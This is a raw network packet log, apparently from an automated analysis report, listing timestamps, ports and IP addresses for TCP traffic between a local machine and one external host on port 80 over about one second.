Jan 6, 2025 07:59:02.907043934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907054901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907073021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907083988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907094002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907098055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907109976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907123089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907134056 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907149076 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907160997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907172918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907218933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907222033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907237053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907249928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907258987 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907264948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907279968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907289982 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907334089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907339096 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907397985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907408953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907418966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907445908 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907475948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907484055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907495022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907506943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907517910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907529116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907556057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907704115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907716036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907726049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907736063 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907747030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907749891 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907757998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907774925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907783031 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907783031 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907785892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907804012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907812119 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907814026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907821894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907870054 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907870054 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.907891989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907912970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907922029 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.907932997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908082962 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908113003 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908155918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908165932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908175945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908188105 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908206940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908221006 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908226967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908241987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908253908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908255100 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908276081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908283949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908296108 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908308983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908333063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908339977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908349991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908401012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908402920 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908402920 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908411026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908421993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908433914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908458948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908488035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908509016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908523083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908533096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908536911 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908586025 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908586025 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908607006 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908617973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908631086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908649921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908660889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908675909 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908749104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908760071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908771038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908776045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908796072 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908823013 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908826113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908838034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908849001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908860922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908879042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908884048 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908891916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908901930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908910990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.908915043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.908942938 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909028053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909048080 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909080982 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909099102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909111977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909122944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909148932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909173012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909183025 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909193993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909245968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909256935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909267902 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909267902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909281015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909307003 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909377098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909384966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909389973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909403086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909411907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.909452915 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.909452915 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.910387039 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.910398006 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.910409927 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.910419941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.910454035 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.910506964 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.937962055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996272087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996294022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996304989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996345997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996356010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996367931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996406078 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996582985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996593952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996603966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996613979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996625900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996634960 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996644974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996661901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996671915 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996673107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996685028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996694088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996706963 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996707916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996732950 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996774912 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996783018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996793032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996802092 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996813059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996824980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.996835947 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.996850014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997558117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997627974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997638941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997648954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997653961 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997659922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997674942 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997690916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997701883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997710943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997714996 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997720957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997728109 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997740030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997749090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997757912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997765064 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997781038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997787952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997803926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997814894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997908115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997920036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997932911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997934103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997939110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997942924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997947931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.997956038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997988939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.997988939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998121023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998131037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998141050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998151064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998161077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998167992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998172045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998182058 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998184919 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998192072 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998208046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998224020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998229027 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998234034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998245001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998256922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998256922 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998266935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998270035 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998275042 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998326063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998642921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998655081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998663902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998683929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998694897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998704910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998712063 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998723030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998735905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998764038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998764038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998792887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998804092 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998816013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998831034 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998836040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998852968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998863935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998873949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998884916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998895884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998908043 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998928070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998939037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998948097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998954058 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.998960018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998970032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.998974085 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999047041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999054909 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999057055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999068975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999078989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999092102 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999106884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999118090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999128103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999135971 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999139071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999146938 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999150038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999161959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999171972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999172926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999196053 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999260902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999279022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999286890 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999289989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999301910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999319077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999330997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999331951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999341965 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999344110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999353886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999366045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999377012 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999444008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999454975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999466896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999470949 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999479055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999489069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999492884 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999500990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999511957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999511957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999524117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999533892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999533892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999552011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999562025 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999572992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999577045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999577045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999583960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999593973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999605894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999620914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999620914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:02.999634981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:02.999660015 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.053992033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.087790012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087801933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087811947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087822914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087833881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087840080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087846994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087867022 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.087869883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087883949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087903023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087913990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087924957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087928057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.087935925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087948084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087956905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087960958 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.087968111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087979078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.087979078 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.087979078 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.087991953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088002920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088012934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088021040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088026047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088051081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088267088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088289022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088294029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088300943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088311911 CET	80	49706	147.45.44.131	192.168.2.5
